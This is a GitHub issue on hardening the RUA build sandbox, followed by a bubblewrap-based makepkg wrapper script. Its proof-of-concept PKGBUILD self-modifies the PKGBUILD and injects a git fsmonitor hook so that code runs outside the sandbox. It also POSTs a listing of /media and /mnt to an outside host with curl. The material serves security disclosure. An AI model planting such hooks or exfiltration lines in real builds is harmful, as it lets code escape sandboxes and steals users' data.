Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Sandboxing hardening suggestions (/mnt, /media, PKGBUILD directory) #206

Open
joanbm opened this issue Apr 2, 2023 · 2 comments
Open

Sandboxing hardening suggestions (/mnt, /media, PKGBUILD directory) #206

joanbm opened this issue Apr 2, 2023 · 2 comments

Comments

@joanbm
Copy link
Contributor

joanbm commented Apr 2, 2023

Description

I was taking a look into how RUA build sandbox works, and I noticed the following:

  1. The directory containing the PKGBUILD is mounted as bound as a writeable directory..

    This opens the door to the build process modifying things inside the PKGBUILD directory to set up a "hook" that hopefully the user accidentally runs later outside the RUA sandbox.

    For example, the build process could modify the PKGBUILD so that running makepkg --printsrcinfo after the build runs code outside the sandbox.

    Or it could be more sneaky and inject itself to Git's fsmonitor so that the code is executed when running git status (and no changed source files are reported).

    Technically speaking, this doesn't break the RUA sandbox itself, but I think most users expect that e.g. running rua builddir then git status can't result in unsandboxed code execution.

  2. The entire root directory is bind-mounted, including paths such as /media and /mnt.

    This means that if the user running the build has access to some personal/sensitive data inside those directories (which probably isn't ideal, but also not entirely unexpected), and the build is not done offline (which may not be practical in some cases), this data can be ex-filtrated to some external server during the build.

In both cases, the code could be hidden deep in the build, e.g. inside some downloaded NPM/Go/Rust/etc. package, so examining the PKGBUILD and related files doesn't reveal anything wrong.

Impact

Likely pretty low in practice since packages are often going to be immediately installed in the same machine and run unsandboxed, but it could increase risk for things like build/CI machines or software that itself runs inside a sandbox.

Possible fixes

  1. Mount the PKGBUILD directory read-only, and create a writeable directory for PKGDEST/SRCDEST/SRCPKGDEST/LOGDEST/BUILDDIR instead.

  2. Be more selective, don't mount all of / but only presumed-safe directories like /usr, /opt, /etc, etc.

Sample

# Maintainer: John Smith <[email protected]>

pkgname=evil-package
pkgver=1.0.0
pkgrel=1
pkgdesc="An evil package that tries to trick the user into running code outside RUA's sandbox"
arch=('x86_64')
url="https://www.example.com"
license=('MIT')
makedepends=('git')
source=()
md5sums=()

build() {
  # [Imagine this is buried deep within the build process]

  # Try to self-modify the PKGBUILD so that if the user runs some "safe"
  # command like `makepkg --printsrcinfo` outside the sandbox, he gets pwned
  [ -f ../PKGBUILD ] && echo 'echo "Starting bitcoin miner...">&2 ' >> ../PKGBUILD

  # Try to hook ourselves to Git's fsmonitor so the next time the user runs
  # something like `git status` he gets pwned
  # See https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md
  [ -f ../.git/config ] && echo $'\tfsmonitor = "echo \\"Starting bitcoin miner...\\">&2; false"' >> ../.git/config

  # Try to exfiltrate data from places containing user files like /media and /mnt
  ls /media /mnt | curl -XPOST -H "Content-type: text/plain" https://httpbin.org/post -d @-
}

package() {
    true
}
@joanbm
Copy link
Contributor Author

joanbm commented Apr 9, 2023

Grrr, for (1), I tried making the directory containing the PKGBUILD read-only, but it broke a few things:

  • Updating the pkgver for Git packages (link)

  • Updating sources pre-downloaded in the same path as the PKGBUILD (not in SRCDEST) (link, link).

A good option would be to mount a writable overlay over the directory containing the PKGBUILD, but unfortunately this is not yet available in bubblewrap (link, link).

@joanbm
Copy link
Contributor Author

joanbm commented Apr 10, 2023

FWIW I ended up with the following standalone script ("makepkg replacement") for my builds. It have successfully tested it with ~30 packages. It depends on the not-yet-merged PR for bubblewrap mounts I linked above.

#!/usr/bin/env sh
set -eu

# A makepkg wrapper which runs the build process inside a sandbox
# The goals of this wrapper are:
# 1- Improve security by sandboxing the build process
# 2- Cleaner and more predictable builds but without needing a chroot
# 3- Avoiding dirty builds leaving files on home dirs, etc. to be cleaned up

# A major inspiration is RUA's bwrap sandbox:
# https://github.com/vn971/rua/blob/c7bded62535105f9214290900a7267d7339d2f45/res/wrapper/security-wrapper.sh
# Compared to RUA's sandbox:
# - For simplifity we don't use seccomp rules
#   (I don't think they are *theoretically* required to get unescapable sandboxing)
# - We explicitly list directories on the root to avoid mounting /media, /mnt, etc.
# - We don't mount the directory containing the PKGBUILD as a (persistent) overlayfs to make
#   social engineering attacks like "self-modifying" PKGBUILDs, Git hooks, etc. more difficult

# Set makepkg destination directories to directories inside a sandbox which we will bind-mount
# We do this (instead of just the overlay below) so that built packages can be easily read from outside the sandbox
[ -z "${PKGDEST+x}" ]    && mkdir -p sandbox/pkg    && PKGDEST="$PWD/sandbox/pkg"
[ -z "${SRCDEST+x}" ]    && mkdir -p sandbox/src    && SRCDEST="$PWD/sandbox/src"
[ -z "${SRCPKGDEST+x}" ] && mkdir -p sandbox/srcpkg && SRCPKGDEST="$PWD/sandbox/srcpkg"
[ -z "${LOGDEST+x}" ]    && mkdir -p sandbox/log    && LOGDEST="$PWD/sandbox/log"
[ -z "${BUILDDIR+x}" ]   && mkdir -p sandbox/build  && BUILDDIR="$PWD/sandbox/build"

# Even with the previous setup, we still need a writable overlayFS for the root directory, as makepkg
# needs it sometimes (e.g. to update pkgver for Git packages, to update pre-downloaded source repositories, etc.)
mkdir -p sandbox/ovfs_rw sandbox/ovfs_work

# Clean up empty sandbox directories on exit (so commands like --printsrcinfo don't leave a mess behind)
trap 'trap - INT TERM EXIT; [ -z "$(unshare -Ur find sandbox -not -type d | head -n 1)" ] && rm -rf sandbox' INT TERM EXIT

RESOLV_CONF="$(realpath /etc/resolv.conf)"
bwrap \
    --die-with-parent \
    --new-session \
    --unshare-all \
    --share-net \
    `# Common rootfs mounts` \
    --ro-bind /usr /usr \
    --ro-bind /opt /opt \
    --ro-bind /etc /etc \
    --ro-bind /boot /boot \
    --ro-bind /var /var \
    --perms 000 --dir /root \
    --dir /mnt \
    --dir /media \
    --dir /srv \
    --symlink usr/bin /bin \
    --symlink usr/bin /sbin \
    --symlink usr/lib /lib \
    --symlink usr/lib /lib64 \
    --dev /dev \
    --proc /proc \
    --ro-bind /sys /sys \
    --tmpfs /tmp \
    --tmpfs /run \
    --tmpfs /var/run \
    --tmpfs /var/tmp \
    --perms 0700 --tmpfs "$XDG_RUNTIME_DIR" \
    --tmpfs "$HOME" \
    `# Deal with systemd-resolved symlinked /etc/resolv.conf` \
    --ro-bind "$RESOLV_CONF" "$RESOLV_CONF" \
    `# Bind GnuPG keyring to check PKGBUILD validpgpkeys` \
    --ro-bind-try "${GNUPGHOME:-$HOME/.gnupg}/pubring.kbx" "${GNUPGHOME:-$HOME/.gnupg}/pubring.kbx" \
    --ro-bind-try "${GNUPGHOME:-$HOME/.gnupg}/pubring.gpg" "${GNUPGHOME:-$HOME/.gnupg}/pubring.gpg" \
    `# CUSTOMPKGDIR can be optionally used to mount a common script / library` \
    --ro-bind-try "${CUSTOMPKGDIR:-/does/not/exist}" "${CUSTOMPKGDIR:-/does/not/exist}" \
    `# Clean up most environment variables, otherwise some tests may try to e.g. start GUI applications and fail` \
    `# Should also help with making builds more predictable` \
    --clearenv \
    --setenv XDG_RUNTIME_DIR "$XDG_RUNTIME_DIR" \
    --setenv PATH "$PATH" \
    --setenv USER "$USER" \
    --setenv LOGNAME "$LOGNAME" \
    --setenv TERM "$TERM" \
    --setenv HOME "$HOME" \
    --setenv GNUPGHOME "${GNUPGHOME:-$HOME/.gnupg}" \
    --setenv LANG "$LANG" \
    `# Setup sandboxed build environment` \
    --overlay-src "$PWD" --overlay "$PWD"/sandbox/ovfs_rw "$PWD"/sandbox/ovfs_work "$PWD" \
    --bind "$PKGDEST" "$PKGDEST"       --setenv PKGDEST "$PKGDEST" \
    --bind "$SRCDEST" "$SRCDEST"       --setenv SRCDEST "$SRCDEST" \
    --bind "$SRCPKGDEST" "$SRCPKGDEST" --setenv SRCPKGDEST "$SRCPKGDEST" \
    --bind "$LOGDEST" "$LOGDEST"       --setenv LOGDEST "$LOGDEST" \
    --bind "$BUILDDIR" "$BUILDDIR"     --setenv BUILDDIR "$BUILDDIR" \
    `# FAKEROOTDONTTRYCHOWN is needed to build some packages like linux-mainline due to an interaction` \
    `# between bubblewrap and chroot, see: https://github.com/containers/bubblewrap/issues/395` \
    `# More detailed explanation: https://patchwork.ozlabs.org/project/buildroot/patch/[email protected]/` \
    `# RUA builddir also does it: https://github.com/vn971/rua/commit/a7a1e2ed2da1b2fdb7ea33666f08faa8422dd681` \
    --setenv FAKEROOTDONTTRYCHOWN 1 \
    "${ZEALCHARM_MAKEPKG_ENTRYPOINT:-makepkg}" "$@"

If I can find some time I'll make a PR for something along this line.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant